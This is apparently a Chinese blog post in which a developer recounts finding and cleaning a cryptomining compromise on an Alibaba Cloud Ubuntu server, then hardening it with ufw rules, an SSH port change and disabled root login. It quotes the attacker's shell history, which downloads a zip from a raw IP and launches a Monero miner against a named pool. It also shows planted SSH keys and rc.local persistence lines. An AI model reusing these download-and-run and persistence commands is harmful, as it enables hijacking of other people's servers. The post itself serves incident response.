码农的黑客反击战

前言

就在近几日的一天,我们的一台阿里云ubuntu服务器应该被人黑进系统,做成了肉鸡,占用了大量资源,严重影响了使用。为了尽快恢复服务,不得已,在我司没有相关专业人才的情况,临危受命,光着膀子上阵,反击战就此拉开。

1. 现象

原本好好的一台阿里云上的服务器突然访问不了,通过ssh登录几乎没有反应,连接不上。

2. 分析

服务器连接不上,服务器上的服务也访问不了,直接怀疑服务器宕机了。登录阿里云的控制台发现,该机器状态正在运行,这就奇怪了。

继续再控制台查看,发现该服务器的系统资源监控图上,CPU和IO网络资源占用全都是100%,而我们的服务根本用不了这么多,怀疑有异常应用。

接着在控制台的云盾监控里发现,该服务器存外地在一次异常登录,这下确认,应该被人黑了。

这里有个郁闷的地方,阿里监控到了这个黑客,但想看更多的信息,就得升级VIP,就得花钱,还不便宜。

确定服务器被人动了手脚,但具体动了怎么样的手脚?如何恢复?怎么防止?继续分析。

通过SSH根本访问不了服务器,那想登陆服务器查找异常也实现不了,得先解决这问题。

1.通过阿里控制强制重启该服务器,刚刚重启之后,用ssh登录,正常。执行top命令,观察系统资源情况。刚开始一切正常,大概1分钟左右后,整个服务器进程全变成了ps进程,系统资源被耗尽,cpu,内存全满。

2.再次重启,尝试几次之后发现,刚重启的时候ssh登录,ps,top命令执行正常,1分钟后系统所有进程基本全变成了ps,top,nestat进程,并且大量的占用资源,导致几乎每个进程都是100%的cpu消耗。而再执行ps,top,netstat命令,命令正常结束,但没有任何输出。通过和其他正常服务器的对比,确定这几个命令被替换了。

3.通过history命令发现,有一段命令操作像是安装肉鸡的操作:

1988 wget http://118.192.146.141:21222/generic.zip

1989 unzip generic.zip 1990 rm -rf generic.zip 1991 cd generic.zip 1992 cd generic 1993 chmod 777 yam 1994 (./yam -c x -M stratum+tcp://45scyJKLwUNFWdZQHanAWw7LDRGrfCeTGft12xyo6Cg6Z2XWhdub7BWW5H2iBrGGAc9XfC4VsQcRbPNgLgZDSqBK9KGJAvG:x@xmr.crypto-pool.fr:3333/xmr &)

1995 exit

1996 top

该命令在root目录下载了一个zip文件,解压后赋权限,启动了一个命令,这个命令看不懂。通过baidu大概知道,利用redis安全漏洞攻击的脚本里的命令跟这个挺像。

4.检查ssh key发现,在/root/.ssh/authorized_keys、authoried_keys文件里新增两个ssh key的配置,根据最后的名称发现,明显不是我们的。

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCm3sLlDeWVz+wniirqWHTj

r3X3Wn1EMPC5Ii7gC3yJ2w3XBZRqxg9WYYFD/9RlacTnO9LUcV35AQ+p+N9CSATMJLIK/iZznFSFtnbrqonhFd2SUtRhT8fPvwdSTmmKVZDOiI+ZWJcpffY8pOf2iXBkiVv3QIdTViJIkBF918gwIbQGYF5AJ+EqgA1HvOcMIM2C4btMwjImhGUW13buMv6RPfQHpayaPuC6xjGoqrhKvv9hEAAKn/g60S76Bj4WhXcbtYb8y0v1/TNRqv6AT7Om+NfjJUt6cxfgTw5SoQIFFQAKd3UyRr+z2xchSEf14lDRPrRU51tr4elU82MVKXBh root@kalissh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+wDfk9Uf97bGjImaI1c3Xi4DRTLqvW7GN1YoKJ2GJLIGbQlg7gYtDpcu0fjOjvL95kNNVkVcwBD5XzkmI+IM4nzybmMFX//r5efTp1z9fDWP3KvORo+qWJvwTcxwB8nYQRlwpkQn5HTXj4WkGpa93v5PthReoDFdPHmB+FMadbN6n9z2gOr+hNVSxeNGpNFzWNFVcGCKfMl7sJgexaw5gjeEobouvd1BvdbEBeIggnTSSEHYMpL0QlpHjWErgTCURIKno5xScpWmE9ejAui7uEjdDbtpjrY2Z8O9zExQtNRSb2gNXAtl3Y+3vfS6g8CzOTV2wdExukvKw+1zWQVFL zuoshou@ubuntu

5.检查系统开机自启项,/etc/rc.local里发现两个没见过的自启脚本。

sh /etc/issue.sh &sh /etc/iisethert.sh &

同时发现/etc/目录issue.sh,iisethert.sh 文件。然后,进入/etc/init.d/目录,发现几十个没见过的文件

hkiewsdxasasx*

akslkkxmjdslk*

klkmxasdsiwqx*

opewlncwxjioq*

....

看着就像程序随机生成的,按时间排序,发现这些都是最近的。总共50多个。另外发现DbSecuritySpt、selinux脚本,也觉得是异常脚本。

3. 反击

根据之前的分析,大概知道哪里出了异常。具体异常之处的作用,暂没有分析,先解决问题为主。

1.删除异常root目录下generic相关文件

2.删除异常的ssh key

3.删除/etc/rc.local异常脚本配置

4.删除/etc/init.d/下异常脚本

5.删除/etc/rc0.d~rc6.d/目录异常脚本连接

6.从其他正常的服务器上,复制正常的ps、top、netstat命令到/bin目录下,恢复命令。

上面的反击操作不是一撮而就的,重启了好几次服务器,陆续执行上面的反击操作。终于,最后一次重启服务器,通过top命令发现,系统进程正常了。

事后在网上搜到一篇类似的文章,我的具体情况和他的有些不一样,估计是一种新变种。 参考文章:一次Linux服务器被入侵和删除木马程序的经历

防护

解决了问题,就要考虑如何防止。一查才发现我们之前的防护实在是有点太弱了。常规的防护手段都没有用,赶紧上。

开启防火墙

安装

sudo apt-get install ufw

启用防火墙

sudo ufw enable

sudo ufw default deny

开启了防火墙并随系统启动同时关闭所有外部对本机的访问(本机访问外部正常)。

关闭防火墙

sudo ufw disable

查看防火墙状态

sudo ufw status

开启/禁用相应端口

sudo ufw allow 80 允许外部访问80端口

sudo ufw delete allow 80 禁止外部访问80 端口

sudo ufw allow from 192.168.1.1 允许此IP访问所有的本机端口

sudo ufw deny smtp 禁止外部访问smtp服务

sudo ufw delete allow smtp 删除上面建立的某条规则

sudo ufw deny proto tcp from 10.0.0.0/8 to 192.168.0.1 port 22 要拒绝所有的TCP流量从10.0.0.0/8 到192.168.0.1地址的22端口

可以允许所有RFC1918网络(局域网/无线局域网的)访问这个主机(/8,/16,/12是一种网络分级):

sudo ufw allow from 10.0.0.0/8

sudo ufw allow from 172.16.0.0/12

sudo ufw allow from 192.168.0.0/16

推荐设置

sudo apt-get install ufw

sudo ufw enable

sudo ufw default deny

修改ssh端口

Linux中SSH默认端口为22,为了安全考虑,我们有必要对22端口进行修改,现修改端口为60000;修改方法如下:

在/etc/ssh/sshd_config中找到Port 22,将其修改为60000,或使用/usr/sbin/sshd -p 60000指定端口。

如果想让22和60000端口同时开放,只需在/etc/ssh/sshd_config增加一行内容如下:

[root@localhost /]# vi /etc/ssh/sshd_configPort 22Port 60000

保存并退出

[root@localhost /]#service ssh restart

重启 ssh 服务

root@ubuntu14:~# service ssh restartssh stop/waiting

ssh start/running, process 1499

root@ubuntu14:~#

禁用root账户,增加sudo权限

假如增加用户zhangsan的sudo权限。 修改/etc/sudoers文件,在root下增加如下一行。

root ALL=(ALL) ALL

zhangsan ALL=(ALL) ALL

增加用户名zhangsan:

useradd zhangsan

passwd zhangsan

禁止root用户登录:修改/etc/ssh/sshd_config文件,将PermitRootLogin前的#号去掉,yes改为no,重启network。

# Authentication:LoginGraceTime 120

#PermitRootLogin without-password

PermitRootLogin no

StrictModes yes

按照以上方法,root用户将不能登录,则使用zhangsan用户登录。切换到root权限可使用#sudo su ,然后输入zhangsan的密码即可。

后记

严格的说这不能是算一次漂亮的反击战,只是暂时解决了问题,因为时间紧迫,过程中也没有保存异常的文件供后续研究,也没有截图。 对于黑客技术,码农知之甚少,这次被人搞了事情之后,看来非常有必要知道这方面的知识。这个搞事情的人不知道是大意了还是水平一般,还是很容易发现系统异常,如果遇到高级黑,估计我就傻眼了。总之,不以恶小而为之,OK?

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 204,053评论 6 478
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 85,527评论 2 381
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 150,779评论 0 337
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,685评论 1 276
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,699评论 5 366
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,609评论 1 281
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 37,989评论 3 396
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,654评论 0 258
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 40,890评论 1 298
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,634评论 2 321
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,716评论 1 330
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,394评论 4 319
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 38,976评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,950评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,191评论 1 260
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 44,849评论 2 349
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,458评论 2 342

推荐阅读更多精彩内容